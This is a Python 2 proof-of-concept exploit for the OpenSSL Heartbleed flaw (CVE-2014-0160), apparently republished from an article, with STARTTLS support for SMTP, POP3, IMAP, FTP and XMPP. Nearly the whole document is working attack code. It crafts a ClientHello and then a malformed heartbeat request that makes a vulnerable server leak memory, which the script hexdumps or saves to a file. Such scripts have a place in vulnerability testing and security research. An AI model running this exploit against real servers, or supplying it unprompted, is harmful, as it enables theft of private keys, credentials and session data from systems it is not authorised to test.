OpenSSL heartbeat PoC with STARTTLS support.

4 min read Original article ↗
#!/usr/bin/env python2 """ Author: takeshix <takeshix@adversec.com> PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org). Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP. """ import sys,struct,socket from argparse import ArgumentParser tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} def info(msg): print '[+] {}'.format(msg) def error(msg): print '[-] {}'.format(msg) sys.exit(0) def debug(msg): if opts.debug: print '[*] {}'.format(msg) def parse_cl(): global opts parser = ArgumentParser(description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') parser.add_argument('host', help='IP or hostname of target system') parser.add_argument('-p', '--port', metavar='Port', type=int, default=443, help='TCP port to test (default: 443)') parser.add_argument('-f', '--file', metavar='File', help='Dump leaked memory into outfile') parser.add_argument('-s', '--starttls', metavar='smtp|pop3|imap|ftp|xmpp', default=False, help='Check STARTTLS') parser.add_argument('-d', '--debug', action='store_true', default=False, help='Enable debug output') opts = parser.parse_args() def hex2bin(arr): return ''.join('{:02x}'.format(x) for x in arr).decode('hex') def build_client_hello(tls_ver): client_hello = [ # TLS header ( 5 bytes) 0x16, # Content type (0x16 for handshake) 0x03, tls_ver, # TLS Version 0x00, 0xdc, # Length # Handshake header 0x01, # Type (0x01 for ClientHello) 0x00, 0x00, 0xd8, # Length 0x03, tls_ver, # TLS Version # Random (32 byte) 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, 0x00, # Session ID length 0x00, 0x66, # Cipher suites length # Cipher suites (51 suites) 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87, 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b, 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f, 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e, 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02, 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08, 0x00, 0x06, 0x00, 0x03, 0x00, 0xff, 0x01, # Compression methods length 0x00, # Compression method (0x00 for NULL) 0x00, 0x49, # Extensions length # Extension: ec_point_formats 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, # Extension: elliptic_curves 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, # Extension: SessionTicket TLS 0x00, 0x23, 0x00, 0x00, # Extension: Heartbeat 0x00, 0x0f, 0x00, 0x01, 0x01 ] return client_hello def build_heartbeat(tls_ver): heartbeat = [ 0x18, # Content Type (Heartbeat) 0x03, tls_ver, # TLS version 0x00, 0x03, # Length # Payload 0x01, # Type (Request) 0x40, 0x00 # Payload length ] return heartbeat def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) def rcv_tls_record(s): try: tls_header = s.recv(5) if not tls_header: error('Unexpected EOF (header)') typ,ver,length = struct.unpack('>BHH',tls_header) message = '' while len(message) != length: message += s.recv(length-len(message)) if not message: error('Unexpected EOF (message)') debug('Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)) return typ,ver,message except Exception as e: return None,None,None if __name__ == '__main__': parse_cl() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) info('Connecting...') s.connect((opts.host, opts.port)) except Exception as e: error(str(e)) if opts.starttls: BUFSIZE=4096 if opts.starttls == 'smtp': re = s.recv(BUFSIZE) debug(re) s.send('ehlo starttlstest\r\n') re = s.recv(BUFSIZE) debug(re) if not 'STARTTLS' in re: debug(re) error('STARTTLS not supported') s.send('starttls\r\n') re = s.recv(BUFSIZE) elif opts.starttls == 'pop3': s.recv(BUFSIZE) s.send('STLS\r\n') s.recv(BUFSIZE) elif opts.starttls == 'imap': s.recv(BUFSIZE) s.send('STARTTLS\r\n') s.recv(BUFSIZE) elif opts.starttls == 'ftp': s.recv(BUFSIZE) s.send('AUTH TLS\r\n') s.recv(BUFSIZE) elif opts.starttls == 'xmpp': s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n") s.recv(BUFSIZE) supported = False for num,tlsver in tls_versions.items(): info('Sending ClientHello for {}'.format(tlsver)) s.send(hex2bin(build_client_hello(num))) info('Waiting for Server Hello...') while True: typ,ver,message = rcv_tls_record(s) if not typ: error('Server closed connection without sending ServerHello for {}'.format(tlsver)) continue if typ is 22 and ord(message[0]) is 0x0E: info('Reveiced ServerHello for {}'.format(tlsver)) supported = num break if supported: break if not supported: error('No TLS version is supported') info('Sending heartbeat request...') s.send(hex2bin(build_heartbeat(supported))) while True: typ,ver,message = rcv_tls_record(s) if not typ: error('No heartbeat response received, server likely not vulnerable') if typ is 24: info('Received heartbeat response:') if len(message) > 3: if opts.file: try: f = open(opts.file,'w') f.write(message) f.flush() f.close() debug('Written leaked memory into {}'.format(opts.file)) except Exception as e: error(str(e)) else: hexdump(message) info('Server is vulnerable!') sys.exit(0) else: error('Server processed malformed heartbeat, but did not return any extra data.') elif typ is 21: error('Received alert')